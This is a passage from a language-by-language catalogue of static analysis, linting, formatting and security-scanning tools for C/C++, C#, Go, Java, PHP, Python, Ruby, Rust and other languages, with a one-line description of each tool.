LDRA © — A tool suite including static analysis (TBVISION) to various standards including MISRA C & C++, JSF++ AV, CWE, CERT C, CERT C++ & Custom Rules.
MATE ⚠ — A suite of tools for interactive program analysis with a focus on hunting for bugs in C and C++ code. MATE unifies application-specific and low-level vulnerability analysis using code property graphs (CPGs), enabling the discovery of highly application-specific vulnerabilities that depend on both implementation details and the high-level semantics of target C/C++ programs.
PC-lint © — Static analysis for C/C++. Runs natively under Windows/Linux/MacOS. Analyzes code for virtually any platform, supporting C11/C18 and C++17.
Phasar — A LLVM-based static analysis framework which comes with a taint and type state analysis.
Polyspace Bug Finder © — Identifies run-time errors, concurrency issues, security vulnerabilities, and other defects in C and C++ embedded software.
Polyspace Code Prover © — Provide code verification that proves the absence of overflow, divide-by-zero, out-of-bounds array access, and certain other run-time errors in C and C++ source code.
scan-build — Frontend to drive the Clang Static Analyzer built into Clang via a regular build.
splint — Annotation-assisted static program checker.
SVF — A static tool that enables scalable and precise interprocedural dependence analysis for C and C++ programs.
TrustInSoft Analyzer © — Exhaustive detection of coding errors and their associated security vulnerabilities. This encompasses a sound undefined behavior detection (buffer overflows, out-of-bounds array accesses, null-pointer dereferences, use-after-free, divide-by-zeros, uninitialized memory accesses, signed overflows, invalid pointer arithmetic, etc.), data flow and control flow verification as well as full functional verification of formal specifications. All versions of C up to C18 and C++ up to C++20 are supported. TrustInSoft Analyzer will acquire ISO 26262 qualification in Q2'2023 (TCL3). A MISRA C checker is also bundled.
vera++ — Vera++ is a programmable tool for verification, analysis and transformation of C++ source code.

C#

.NET Analyzers — An organization for the development of analyzers (diagnostics and code fixes) using the .NET Compiler Platform.
ArchUnitNET — A C# architecture test library to specify and assert architecture rules in C# for automated testing.
code-cracker — An analyzer library for C# and VB that uses Roslyn to produce refactorings, code analysis, and other niceties.
CSharpEssentials ⚠ — C# Essentials is a collection of Roslyn diagnostic analyzers, code fixes and refactorings that make it easy to work with C# 6 language features.
Designite © — Designite supports detection of various architecture, design, and implementation smells, computation of various code quality metrics, and trend analysis.
Gendarme — Gendarme inspects programs and libraries that contain code in ECMA CIL format (Mono and .NET).
Infer# — InferSharp (also referred to as Infer#) is an interprocedural and scalable static code analyzer for C#. Via the capabilities of Facebook's Infer, this tool detects null pointer dereferences and resource leaks.
Meziantou.Analyzer — A Roslyn analyzer to enforce some good practices in C# in terms of design, usage, security, performance, and style.
Puma Scan — Puma Scan provides real time secure code analysis for common vulnerabilities (XSS, SQLi, CSRF, LDAPi, crypto, deserialization, etc.) as development teams write code in Visual Studio.
Roslynator — A collection of 190+ analyzers and 190+ refactorings for C#, powered by Roslyn.
SonarAnalyzer.CSharp — These Roslyn analyzers allow you to produce Clean Code that is safe, reliable, and maintainable by helping you find and correct bugs, vulnerabilities, and code smells in your codebase.
VSDiagnostics — A collection of static analyzers based on Roslyn that integrates with VS.
Wintellect.Analyzers — .NET Compiler Platform ("Roslyn") diagnostic analyzers and code fixes.

C++

Astrée © — Astrée automatically proves the absence of runtime errors and invalid concurrent behavior in C/C++ applications. It is sound for floating-point computations, very fast, and exceptionally precise. The analyzer also checks for MISRA/CERT/CWE/Adaptive Autosar coding rules and supports qualification for ISO 26262, DO-178C level A, and other safety standards. Jenkins and Eclipse plugins are available.
CBMC — Bounded model-checker for C programs, user-defined assertions, standard assertions, several coverage metric analyses.
clang-tidy — Clang-based C++ linter tool with the (limited) ability to fix issues, too.
clazy — Qt-oriented static code analyzer based on the Clang framework. clazy is a compiler plugin which allows clang to understand Qt semantics. You get more than 50 Qt related compiler warnings, ranging from unneeded memory allocations to misusage of API, including fix-its for automatic refactoring.
CMetrics — Measures size and complexity for C files.
cppcheck — Static analysis of C/C++ code.
cpplint — Automated C++ checker that follows Google's style guide.
cqmetrics — Quality metrics for C code.
CScout ⚠ — Complexity and quality metrics for C and C preprocessor code.
ESBMC — ESBMC is an open source, permissively licensed, context-bounded model checker based on satisfiability modulo theories for the verification of single- and multi-threaded C/C++ programs.
flawfinder — Finds possible security weaknesses.
flint++ — Cross-platform, zero-dependency port of flint, a lint program for C++ developed and used at Facebook.
Frama-C — A sound and extensible static analyzer for C code.
Helix QAC © — Enterprise-grade static analysis for embedded software. Supports MISRA, CERT, and AUTOSAR coding standards.
IKOS — A sound static analyzer for C/C++ code based on LLVM.
Joern — Open-source code analysis platform for C/C++ based on code property graphs
KLEE — A dynamic symbolic execution engine built on top of the LLVM compiler infrastructure. It can auto-generate test cases for programs such that the test cases exercise as much of the program as possible.
LDRA © — A tool suite including static analysis (TBVISION) to various standards including MISRA C & C++, JSF++ AV, CWE, CERT C, CERT C++ & Custom Rules.
MATE ⚠ — A suite of tools for interactive program analysis with a focus on hunting for bugs in C and C++ code. MATE unifies application-specific and low-level vulnerability analysis using code property graphs (CPGs), enabling the discovery of highly application-specific vulnerabilities that depend on both implementation details and the high-level semantics of target C/C++ programs.
PC-lint © — Static analysis for C/C++. Runs natively under Windows/Linux/MacOS. Analyzes code for virtually any platform, supporting C11/C18 and C++17.
Phasar — A LLVM-based static analysis framework which comes with a taint and type state analysis.
Polyspace Bug Finder © — Identifies run-time errors, concurrency issues, security vulnerabilities, and other defects in C and C++ embedded software.
Polyspace Code Prover © — Provide code verification that proves the absence of overflow, divide-by-zero, out-of-bounds array access, and certain other run-time errors in C and C++ source code.
scan-build — Frontend to drive the Clang Static Analyzer built into Clang via a regular build.
splint — Annotation-assisted static program checker.
SVF — A static tool that enables scalable and precise interprocedural dependence analysis for C and C++ programs.
TrustInSoft Analyzer © — Exhaustive detection of coding errors and their associated security vulnerabilities. This encompasses a sound undefined behavior detection (buffer overflows, out-of-bounds array accesses, null-pointer dereferences, use-after-free, divide-by-zeros, uninitialized memory accesses, signed overflows, invalid pointer arithmetic, etc.), data flow and control flow verification as well as full functional verification of formal specifications. All versions of C up to C18 and C++ up to C++20 are supported. TrustInSoft Analyzer will acquire ISO 26262 qualification in Q2'2023 (TCL3). A MISRA C checker is also bundled.
vera++ — Vera++ is a programmable tool for verification, analysis and transformation of C++ source code.

Clojure

clj-kondo — A linter for Clojure code that sparks joy. It informs you about potential errors while you are typing.

CoffeeScript

coffeelint ⚠ — A style checker that helps keep CoffeeScript code clean and consistent.

ColdFusion

Fixinator © — Static security code analysis for ColdFusion or CFML code. Designed to work within a CI pipeline or from the developers terminal.

Crystal

ameba — A static code analysis tool for Crystal.
crystal — The Crystal compiler has built-in linting functionality.

Dart

Dart Code Metrics — Additional linter for Dart. Reports code metrics, checks for anti-patterns and provides additional rules for Dart analyzer.
effective_dart — Linter rules corresponding to the guidelines in Effective Dart
lint — An opinionated, community-driven set of lint rules for Dart and Flutter projects. Like pedantic but stricter
Linter for dart — Style linter for Dart.

Delphi

Fix Insight © — A free IDE Plugin for static code analysis. A Pro edition includes a command line tool for automation purposes.
Pascal Analyzer © — A static code analysis tool with numerous reports. A free Lite version is available with limited reporting.
Pascal Expert © — IDE plugin for code analysis. Includes a subset of Pascal Analyzer reporting capabilities and is available for Delphi versions 2007 and later.

Dlang

D-scanner — D-Scanner is a tool for analyzing D source code.

Elixir

credo — A static code analysis tool with a focus on code consistency and teaching.
dialyxir — Mix tasks to simplify use of Dialyzer in Elixir projects.
sobelow — Security-focused static analysis for the Phoenix Framework.

Elm

elm-analyse ⚠ — A tool that allows you to analyse your Elm code, identify deficiencies and apply best practices.
elm-review — Analyzes whole Elm projects, with a focus on shareable and custom rules written in Elm that add guarantees the Elm compiler doesn't give you.

Erlang

dialyzer — The DIALYZER, a DIscrepancy AnaLYZer for ERlang programs. Dialyzer is a static analysis tool that identifies software discrepancies, such as definite type errors, code that has become dead or unreachable because of programming error, and unnecessary tests, in single Erlang modules or entire (sets of) applications. Dialyzer starts its analysis from either debug-compiled BEAM bytecode or from Erlang source code. The file and line number of a discrepancy is reported along with an indication of what the discrepancy is about. Dialyzer bases its analysis on the concept of success typings, which allows for sound warnings (no false positives).
elvis — Erlang Style Reviewer.
Primitive Erlang Security Tool (PEST) ⚠ — A tool to do a basic scan of Erlang source code and report any function calls that may cause Erlang source code to be insecure.

F#

FSharpLint — Lint tool for F#.

Fortran

fprettify — Auto-formatter for modern fortran source code, written in Python. Fprettify is a tool that provides consistent whitespace, indentation, and delimiter alignment in code, including the ability to change letter case and handle preprocessor directives, all while preserving revision history and tested for editor integration.
i-Code CNES for Fortran — An open source static code analysis tool for Fortran 77, Fortran 90 and Shell.

Go

aligncheck — Find inefficiently packed structs.
bodyclose — Checks whether HTTP response body is closed.
deadcode — Finds unused code.
dingo-hunter — Static analyser for finding deadlocks in Go.
dogsled — Finds assignments/declarations with too many blank identifiers.
dupl ⚠ — Reports potentially duplicated code.
errcheck — Check that error return values are used.
errwrap — Wrap and fix Go errors with the new %w verb directive. This tool analyzes fmt.Errorf() calls and reports calls that contain a verb directive that is different than the new %w verb directive introduced in Go v1.13. It's also capable of rewriting calls to use the new %w wrap verb directive.
flen — Get info on length of functions in a Go package.
Go Meta Linter ⚠ — Concurrently run Go lint tools and normalise their output. Use golangci-lint for new projects.
go tool vet --shadow — Reports variables that may have been unintentionally shadowed.
go vet — Examines Go source code and reports suspicious.
go-consistent — Analyzer that helps you to make your Go programs more consistent.
go-critic — Go source code linter that maintains checks which are currently not implemented in other linters.
go/ast — Package ast declares the types used to represent syntax trees for Go packages.
goast — Go AST (Abstract Syntax Tree) based static analysis tool with Rego.
gochecknoglobals — Checks that no globals are present.
goconst — Finds repeated strings that could be replaced by a constant.
gocyclo — Calculate cyclomatic complexities of functions in Go source code.
gofmt -s — Checks if the code is properly formatted and could not be further simplified.
gofumpt — Enforce a stricter format than gofmt, while being backwards-compatible. That is, gofumpt is happy with a subset of the formats that gofmt is happy with. The tool is a fork of gofmt as of Go 1.19, and requires Go 1.18 or later. It can be used as a drop-in replacement to format your Go code, and running gofmt after gofumpt should produce no changes. gofumpt will never add rules which disagree with gofmt formatting. So we extend gofmt rather than compete with it.
goimports — Checks missing or unreferenced package imports.
gokart — Golang security analysis with a focus on minimizing false positives. It is capable of tracing the source of variables and function arguments to determine whether input sources are safe.
GolangCI-Lint — Alternative to Go Meta Linter: GolangCI-Lint is a linters aggregator.
golint — Prints out coding style mistakes in Go source code.
goreporter — Concurrently runs many linters and normalises their output to a report.
goroutine-inspect — An interactive tool to analyze Golang goroutine dump.
gosec (gas) — Inspects source code for security problems by scanning the Go AST.
gotype — Syntactic and semantic analysis similar to the Go compiler.
govulncheck — Govulncheck reports known vulnerabilities that affect Go code. It uses static analysis of source code or a binary's symbol table to narrow down reports to only those that could affect the application. By default, govulncheck makes requests to the Go vulnerability database at https://vuln.go.dev. Requests to the vulnerability database contain only module paths, not code or other properties of your program.
ineffassign — Detect ineffectual assignments in Go code.
interfacer ⚠ — Suggest narrower interfaces that can be used.
lll ⚠ — Report long lines.
maligned ⚠ — Detect structs that would take less memory if their fields were sorted.
misspell — Finds commonly misspelled English words.
nakedret — Finds naked returns.
nargs — Finds unused arguments in function declarations.
prealloc — Finds slice declarations that could potentially be preallocated.
Reviewdog — A tool for posting review comments from any linter in any code hosting service.
revive — Fast, configurable, extensible, flexible, and beautiful linter for Go. Drop-in replacement of golint.
safesql ⚠ — Static analysis tool for Golang that protects against SQL injections.
shisho — A lightweight static code analyzer designed for developers and security teams. It allows you to analyze and transform source code with an intuitive DSL similar to sed, but for code.
staticcheck — Go static analysis that specialises in finding bugs, simplifying code and improving performance.
structcheck — Find unused struct fields.
structslop — Static analyzer for Go that recommends struct field rearrangements to provide for maximum space/allocation efficiency
test — Show location of test failures from the stdlib testing module.
unconvert — Detect redundant type conversions.
unparam — Find unused function parameters.
varcheck — Find unused global variables and constants.
wsl — Enforces empty lines at the right places.

Groovy

CodeNarc — A static analysis tool for Groovy source code, enabling monitoring and enforcement of many coding standards and best practices.

Haskell

brittany — Haskell source code formatter
HLint — HLint is a tool for suggesting possible improvements to Haskell code.
Liquid Haskell — Liquid Haskell is a refinement type checker for Haskell programs.
Stan — Stan is a command-line tool for analysing Haskell projects and outputting discovered vulnerabilities in a helpful way with possible solutions for detected problems.
Weeder — A tool for detecting dead exports or package imports in Haskell code.

Haxe

Haxe Checkstyle — A static analysis tool to help developers write Haxe code that adheres to a coding standard.

Java

Checker Framework — Pluggable type-checking for Java.
checkstyle — Checking Java source code for adherence to a Code Standard or set of validation rules (best practices).
ck — Calculates Chidamber and Kemerer object-oriented metrics by processing the source Java files.
ckjm — Calculates Chidamber and Kemerer object-oriented metrics by processing the bytecode of compiled Java files.
CogniCrypt — Checks Java source and byte code for incorrect uses of cryptographic APIs.
DesigniteJava © — DesigniteJava supports detection of various architecture, design, and implementation smells along with computation of various code quality metrics.
Diffblue © — Diffblue is a software company that provides AI-powered code analysis and testing solutions for software development teams. Its technology helps developers automate testing, find bugs, and reduce manual labor in their software development processes. The company's main product, Diffblue Cover, uses AI to generate and run unit tests for Java code, helping to catch errors and improve code quality.
Doop — Doop is a declarative framework for static analysis of Java/Android programs, centered on pointer analysis algorithms. Doop provides a large variety of analyses and also the surrounding scaffolding to run an analysis end-to-end (fact generation, processing, statistics, etc.).
Error-prone — Catch common Java mistakes as compile-time errors.
fb-contrib — A plugin for FindBugs with additional bug detectors.
forbidden-apis — Detects and forbids invocations of specific method/class/field (like reading from a text stream without a charset). Maven/Gradle/Ant compatible.
google-java-format — Reformats Java source code to comply with Google Java Style
HuntBugs ⚠ — Bytecode static analyzer tool based on Procyon Compiler Tools aimed to supersede FindBugs.
IntelliJ IDEA © — Comes bundled with a lot of inspections for Java and Kotlin and includes tools for refactoring, formatting and more.
JBMC — Bounded model-checker for Java (bytecode), verifies user-defined assertions, standard assertions, several coverage metric analyses.
Mariana Trench — Our security focused static analysis tool for Android and Java applications. Mariana Trench analyzes Dalvik bytecode and is built to run fast on large codebases (10s of millions of lines of code). It can find vulnerabilities as code changes, before it ever lands in your repository.
NullAway — Type-based null-pointer checker with low build-time overhead; an Error Prone plugin.
OWASP Dependency Check — Checks dependencies for known, publicly disclosed, vulnerabilities.
qulice — Combines a few (pre-configured) static analysis tools (checkstyle, PMD, Findbugs, ...).
RefactorFirst — Identifies and prioritizes God Classes and Highly Coupled classes in Java codebases you should refactor first.
Soot — A framework for analyzing and transforming Java and Android applications.
Spoon — Spoon is a metaprogramming library to analyze and transform Java source code (incl Java 9, 10, 11, 12, 13, 14). It parses source files to build a well-designed AST with powerful analysis and transformation API. Can be integrated in Maven and Gradle.
SpotBugs — SpotBugs is FindBugs' successor. A tool for static analysis to look for bugs in Java code.
steady — Analyses your Java applications for open-source dependencies with known vulnerabilities, using both static analysis and testing to determine code context and usage for greater accuracy.
Violations Lib — Java library for parsing report files from static code analysis. Used by a bunch of Jenkins, Maven and Gradle plugins.

JavaScript

aether ⚠ — Lint, analyze, normalize, transform, sandbox, run, step through, and visualize user JavaScript, in node or the browser.
Closure Compiler — A compiler tool to increase efficiency, reduce size, and provide code warnings in JavaScript files.
ClosureLinter ⚠ — Ensures that all of your project's JavaScript code follows the guidelines in the Google JavaScript Style Guide. It can also automatically fix many common errors.
complexity-report ⚠ — Software complexity analysis for JavaScript projects.
es6-plato ⚠ — Visualize JavaScript (ES6) source complexity.
escomplex ⚠ — Software complexity analysis of JavaScript-family abstract syntax trees.
Esprima ⚠ — ECMAScript parsing infrastructure for multipurpose analysis.
flow — A static type checker for JavaScript.
hegel — A static type checker for JavaScript with a bias on type inference and strong type systems.
jshint ℹ — Detect errors and potential problems in JavaScript code and enforce your team's coding conventions.
JSLint ℹ — The JavaScript Code Quality Tool.
JSPrime ⚠ — Static security analysis tool.
NodeJSScan — A static security code scanner for Node.js applications powered by libsast and semgrep that builds on the njsscan cli tool. It features a UI with various dashboards about an application's security status.
plato ⚠ — Visualize JavaScript source complexity.
Polymer-analyzer — A static analysis framework for Web Components.
retire.js — Scanner detecting the use of JavaScript libraries with known vulnerabilities.
RSLint ⚠ — A (WIP) JavaScript linter written in Rust designed to be as fast as possible, customizable, and easy to use.
standard — An npm module that checks for Javascript Styleguide issues.
tern — A JavaScript code analyzer for deep, cross-editor language support.
TypL ⚠ — With TypL, you just write completely standard JS, and the tool figures out your types via powerful inferencing.
xo — Opinionated but configurable ESLint wrapper with lots of goodies included. Enforces strict and readable code.
yardstick ⚠ — Javascript code metrics.

Julia

StaticLint — Static Code Analysis for Julia

Kotlin

detekt — Static code analysis for Kotlin code.
diktat — Strict coding standard for Kotlin and a linter that detects and auto-fixes code smells.
ktfmt — A program that reformats Kotlin source code to comply with the common community standard for Kotlin code conventions. A ktfmt IntelliJ plugin is available from the plugin repository. To install it, go to your IDE's settings and select the Plugins category. Click the Marketplace tab, search for the ktfmt plugin, and click the Install button.
ktlint — An anti-bikeshedding Kotlin linter with built-in formatter.

Lua

luacheck — A tool for linting and static analysis of Lua code.
lualint — lualint performs luac-based static analysis of global variable usage in Lua source code.
Luanalysis — An IDE for statically typed Lua development.

MATLAB

Nim

DrNim — DrNim combines the Nim frontend with the Z3 proof engine in order to allow verify / validate software written in Nim.
nimfmt ⚠ — Nim code formatter / linter / style checker

Ocaml

Sys — A static/symbolic Tool for finding bugs in (browser) code. It uses the LLVM AST to find bugs like uninitialized memory access.
VeriFast — A tool for modular formal verification of correctness properties of single-threaded and multithreaded C and Java programs annotated with preconditions and postconditions written in separation logic. To express rich specifications, the programmer can define inductive datatypes, primitive recursive pure functions over these datatypes, and abstract separation logic predicates.

PHP

CakeFuzzer — Web application security testing tool for CakePHP-based web applications. CakeFuzzer employs a predefined set of attacks that are randomly modified before execution. Leveraging its deep understanding of the Cake PHP framework, Cake Fuzzer launches attacks on all potential application entry points.
churn-php — Helps discover good candidates for refactoring.
dephpend — Dependency analysis tool.
deprecation-detector — Finds usages of deprecated (Symfony) code.
deptrac — Enforce rules for dependencies between software layers.
DesignPatternDetector — Detection of design patterns in PHP code.
EasyCodingStandard — Combine PHP_CodeSniffer and PHP-CS-Fixer.
Enlightn — A static and dynamic analysis tool for Laravel applications that provides recommendations to improve the performance, security and code reliability of Laravel apps. Contains 120 automated checks.
exakat — An automated code reviewing engine for PHP.
GrumPHP — Checks code on every commit.
larastan — Adds static analysis to Laravel improving developer productivity and code quality. It is a wrapper around PHPStan.
Mondrian ⚠ — A set of static analysis and refactoring tools which use graph theory.
parallel-lint — This tool checks syntax of PHP files faster than serial check with a fancier output.
Parse — A Static Security Scanner.
pdepend — Calculates software metrics like cyclomatic complexity for PHP code.
phan — A modern static analyzer from etsy.
PHP Architecture Tester — Easy to use architecture testing tool for PHP.
PHP Assumptions — Checks for weak assumptions.
PHP Coding Standards Fixer — Fixes your code according to standards like PSR-1, PSR-2, and the Symfony standard.
PHP Insights — Instant PHP quality checks from your console. Analysis of code quality and coding style as well as overview of code architecture and its complexity.
Php Inspections (EA Extended) — A Static Code Analyzer for PHP.
PHP Refactoring Browser — Refactoring helper.
PHP Semantic Versioning Checker — Suggests a next version according to semantic versioning.
PHP-Parser — A PHP parser written in PHP.
php-speller — PHP spell check library.
PHP-Token-Reflection ⚠ — Library emulating the PHP internal reflection.
php7cc ⚠ — PHP 7 Compatibility Checker.
php7mar ⚠ — Assist developers in porting their code quickly to PHP 7.
PHP_CodeSniffer — Detects violations of a defined set of coding standards.
phpca — Finds usage of non-built-in extensions.
phpcpd — Copy/Paste Detector for PHP code.
phpdcd ⚠ — Dead Code Detector (DCD) for PHP code.
PhpDependencyAnalysis ⚠ — Builds a dependency graph for a project.
PhpDeprecationDetector — Analyzer of PHP code to search issues with deprecated functionality in newer interpreter versions. It finds removed objects (functions, variables, constants and ini-directives), deprecated functions functionality, and usage of forbidden names or tricks (e.g. reserved identifiers in newer versions).
phpdoc-to-typehint ⚠ — Add scalar type hints and return types to existing PHP projects using PHPDoc annotations.
phpDocumentor — Analyzes PHP source code to generate documentation.
phploc — A tool for quickly measuring the size and analyzing the structure of a PHP project.
PHPMD — Finds possible bugs in your code.
PhpMetrics — Calculates and visualizes various code quality metrics.
phpmnd — Helps to detect magic numbers.
PHPQA — A tool for running QA tools (phploc, phpcpd, phpcs, pdepend, phpmd, phpmetrics).
phpqa - jakzal — Many tools for PHP static analysis in one container.
phpqa - jmolivas — PHPQA all-in-one Analyzer CLI tool.
phpsa ⚠ — Static analysis tool for PHP.
PHPStan — PHP Static Analysis Tool - discover bugs in your code without running it!
Progpilot — A static analysis tool for security purposes.
Psalm — Static analysis tool for finding type errors in PHP applications.
Qafoo Quality Analyzer ⚠ — Visualizes metrics and source code.
rector — Instant Upgrades and Automated Refactoring of any PHP 5.3+ code. It upgrades your code for PHP 7.4, 8.0 and beyond. Rector promises a low false-positive rate because it looks for narrowly defined AST (abstract syntax tree) patterns. The main use-case are tackling technical debt in your legacy code and removing dead code. Rector provides a set of special rules for Symfony, Doctrine, PHPUnit, and many more.
Reflection — Reflection library to do Static Analysis for PHP Projects
Tuli — A static analysis engine.
twig-lint — twig-lint is a lint tool for your twig files.
WAP — Tool to detect and correct input validation vulnerabilities in PHP (4.0 or higher) web applications and predicts false positives by combining static analysis and data mining.

PL/SQL

ZPA — Z PL/SQL Analyzer (ZPA) is an extensible code analyzer for PL/SQL and Oracle SQL. It can be integrated with SonarQube.

Perl

Perl::Analyzer — Perl-Analyzer is a set of programs and modules that allow users to analyze and visualize Perl codebases by providing information about namespaces and their relations, dependencies, inheritance, and methods implemented, inherited, and redefined in packages, as well as calls to methods from parent packages via SUPER.
Perl::Critic — Critique Perl source code for best-practices.
perltidy — Perltidy is a Perl script which indents and reformats Perl scripts to make them easier to read. The formatting can be controlled with command line parameters. The default parameter settings approximately follow the suggestions in the Perl Style Guide. Besides reformatting scripts, Perltidy can be a great help in tracking down errors with missing or extra braces, parentheses, and square brackets because it is very good at localizing errors.
zarn — A lightweight static security analysis tool for modern Perl Apps

Python

autoflake — Autoflake removes unused imports and unused variables from Python code.
autopep8 — A tool that automatically formats Python code to conform to the PEP 8 style guide. It uses the pycodestyle utility to determine what parts of the code needs to be formatted.
bandit — A tool to find common security issues in Python code.
bellybutton — A linting engine supporting custom project-specific rules.
Black — The uncompromising Python code formatter.
Bowler — Safe code refactoring for modern Python. Bowler is a refactoring tool for manipulating Python at the syntax tree level. It enables safe, large scale code modifications while guaranteeing that the resulting code compiles and runs. It provides both a simple command line interface and a fluent API in Python for generating complex code modifications in code.
ciocheck ⚠ — Linter, formatter and test suite helper. As a linter, it is a wrapper around pep8, pydocstyle, flake8, and pylint.
cohesion — A tool for measuring Python class cohesion.
deal — Design by contract for Python. Write bug-free code. By adding a few decorators to your code, you get for free tests, static analysis, formal verification, and much more.
Dlint — A tool for ensuring Python code is secure.
Dodgy — Dodgy is a very basic tool to run against your codebase to search for "dodgy" looking values. It is a series of simple regular expressions designed to detect things such as accidental SCM diff checkins, or passwords or secret keys hard coded into files.
fixit — A framework for creating lint rules and corresponding auto-fixes for source code.
flake8 — A wrapper around pyflakes, pycodestyle and mccabe.
flakeheaven — flakeheaven is a python linter built around flake8 to enable inheritable and complex toml configuration.
InspectorTiger ⚠ — IT, Inspector Tiger, is a modern python code review tool / framework. It comes with bunch of pre-defined handlers which warns you about improvements and possible bugs. Beside these handlers, you can write your own or use community ones.
jedi — Autocompletion/static analysis library for Python.
linty fresh — Parse lint errors and report them to Github as comments on a pull request.
mccabe — Check McCabe complexity.
multilint ⚠ — A wrapper around flake8, isort and modernize.
mypy — A static type checker that aims to combine the benefits of duck typing and static typing, frequently used with MonkeyType.
prospector — A wrapper around pylint, pep8, mccabe and others.
py-find-injection ⚠ — Find SQL injection vulnerabilities in Python code.
pyanalyze — A tool for programmatically detecting common mistakes in Python code, such as references to undefined variables and type errors. It can be extended to add additional rules and perform checks specific to particular functions.
PyCodeQual © — PyCodeQual gives you insights into complexity and bug risks. It adds automatic reviews to your pull requests.
pycodestyle — (Formerly pep8) Check Python code against some of the style conventions in PEP 8.
pydocstyle — Check compliance with Python docstring conventions.
pyflakes — Check Python source files for errors.
pylint — Looks for programming errors, helps enforcing a coding standard and sniffs for some code smells. It additionally includes pyreverse (an UML diagram generator) and symilar (a similarities checker).
pyre-check — A fast, scalable type checker for large Python codebases.
pyright — Static type checker for Python, created to address gaps in existing tools like mypy.
pyroma — Rate how well a Python project complies with the best practices of the Python packaging ecosystem, and list issues that could be improved.
Pysa — A tool based on Facebook's pyre-check to identify potential security issues in Python code identified with taint analysis.
PyT - Python Taint ⚠ — A static analysis tool for detecting security vulnerabilities in Python web applications.
pytype — A static type analyzer for Python code.
pyupgrade — A tool (and pre-commit hook) to automatically upgrade syntax for newer versions of the language.
QuantifiedCode ⚠ — Automated code review & repair. It helps you to keep track of issues and metrics in your software projects, and can be easily extended to support new types of analyses.
radon — A Python tool that computes various metrics from the source code.
refurb — A tool for refurbishing and modernizing Python codebases. Refurb is heavily inspired by clippy, the built-in linter for Rust.
ruff — Fast Python linter, written in Rust. 10-100x faster than existing linters. Compatible with Python 3.10. Supports file watcher.
unimport — A linter, formatter for finding and removing unused import statements.
vulture — Find unused classes, functions and variables in Python code.
wemake-python-styleguide — The strictest and most opinionated python linter ever.
wily — A command-line tool for archiving, exploring and graphing the complexity of Python source code.
xenon — Monitor code complexity using radon.
yapf — A formatter for Python files created by Google YAPF follows a distinctive methodology, originating from the 'clang-format' tool created by Daniel Jasper. Essentially, the program reframes the code to the most suitable formatting that abides by the style guide, even if the original code already follows the style guide. This concept is similar to the Go programming language's 'gofmt' tool, which aims to put an end to debates about formatting by having the entire codebase of a project pass through YAPF whenever changes are made, thereby maintaining a consistent style throughout the project and eliminating the need to argue about style in every code review.

R

cyclocomp — Quantifies the cyclomatic complexity of R functions / expressions.
goodpractice — Analyses the source code for R packages and provides best-practice recommendations.
lintr — Static Code Analysis for R.
styler — Formatting of R source code files and pretty-printing of R code.

Rego

Regal — Regal is a linter for the policy language Rego. Regal aims to catch bugs and mistakes in policy code, while at the same time helping people learn the language, best practices and idiomatic constructs.

Ruby

brakeman — A static analysis security vulnerability scanner for Ruby on Rails applications.
bundler-audit — Audit Gemfile.lock for gems with security vulnerabilities reported in Ruby Advisory Database.
cane ⚠ — Code quality threshold checking as part of your build.
Churn ⚠ — A Project to give the churn file, class, and method for a project for a given checkin. Over time the tool adds up the history of churns to give the number of times a file, class, or method is changing during the life of a project.
dawnscanner — A static analysis security scanner for ruby written web applications. It supports Sinatra, Padrino and Ruby on Rails frameworks.
ERB Lint — Lint your ERB or HTML files
Fasterer — Common Ruby idioms checker.
flay — Flay analyzes code for structural similarities.
flog — Flog reports the most tortured code in an easy to read pain report. The higher the score, the more pain the code is in.
Fukuzatsu — A tool for measuring code complexity in Ruby class files. Its analysis generates scores based on cyclomatic complexity algorithms with no added "opinions".
htmlbeautifier — A normaliser/beautifier for HTML that also understands embedded Ruby. Ideal for tidying up Rails templates.
laser ⚠ — Static analysis and style linter for Ruby code.
MetricFu ⚠ — MetricFu is a set of tools to provide reports that show which parts of your code might need extra work.
pelusa — Static analysis Lint-type tool to improve your OO Ruby code.
quality — Runs quality checks on your code using community tools, and makes sure your numbers don't get any worse over time.
Querly ⚠ — Pattern Based Checking Tool for Ruby.
Railroader ⚠ — An open source static analysis security vulnerability scanner for Ruby on Rails applications.
rails_best_practices — A code metric tool for Rails projects
reek — Code smell detector for Ruby.
Roodi ⚠ — Roodi stands for Ruby Object Oriented Design Inferometer. It parses your Ruby code and warns you about design issues you have based on the checks that it has configured.
RuboCop — A Ruby static code analyzer, based on the community Ruby style guide.
Rubrowser — Ruby classes interactive dependency graph generator.
ruby-lint ⚠ — Static code analysis for Ruby.
rubycritic — A Ruby code quality reporter.
rufo — An opinionated ruby formatter, intended to be used via the command line as a text-editor plugin, to autoformat files on save or on demand.
Saikuro ⚠ — A Ruby cyclomatic complexity analyzer.
SandiMeter ⚠ — Static analysis tool for checking Ruby code for Sandi Metz' rules.
Sorbet — A fast, powerful type checker designed for Ruby.
Standard Ruby — Ruby Style Guide, with linter & automatic code fixer
Steep — Gradual Typing for Ruby.

Rust

C2Rust — C2Rust helps you migrate C99-compliant code to Rust. The translator (or transpiler) produces unsafe Rust code that closely mirrors the input C code.
cargo udeps — Find unused dependencies in Cargo.toml. It either prints out a "unused crates" line listing the crates, or it prints out a line saying that no crates were unused.
cargo-audit — Audit Cargo.lock for crates with security vulnerabilities reported to the RustSec Advisory Database.
cargo-bloat — Find out what takes most of the space in your executable. supports ELF (Linux, BSD), Mach-O (macOS) and PE (Windows) binaries.
cargo-breaking — cargo-breaking compares a crate's public API between two different branches, shows what changed, and suggests the next version according to semver.
cargo-call-stack — Whole program static stack analysis The tool produces the full call graph of a program as a dot file.
cargo-deny — A cargo plugin for linting your dependencies. It can be used either as a command line too, a Rust crate, or a Github action for CI. It checks for valid license information, duplicate crates, security vulnerabilities, and more.
cargo-expand — Cargo subcommand to show result of macro expansion and #[derive] expansion applied to the current crate. This is a wrapper around a more verbose compiler command.
cargo-inspect ⚠ — Inspect Rust code without syntactic sugar to see what the compiler does behind the curtains.
cargo-show-asm — cargo subcommand showing the assembly, LLVM-IR and MIR generated for Rust code
cargo-spellcheck — Checks all your documentation for spelling and grammar mistakes with hunspell (ready) and languagetool (preview)
cargo-unused-features — Find potential unused enabled feature flags and prune them. You can generate a simple HTML report from the json to make it easier to inspect results. It removes a feature of a dependency and then compiles the project to see if it still compiles. If it does, the feature flag can possibly be removed, but it can be a false-positve.
clippy — A code linter to catch common mistakes and improve your Rust code.
diff.rs — Web application (WASM) to render a diff between Rust crate versions.
dylint — A tool for running Rust lints from dynamic libraries. Dylint makes it easy for developers to maintain their own personal lint collections.
electrolysis ⚠ — A tool for formally verifying Rust programs by transpiling them into definitions in the Lean theorem prover.
herbie ⚠ — Adds warnings or errors to your crate when using a numerically unstable floating point expression.
linter-rust ⚠ — Linting your Rust-files in Atom, using rustc and cargo.
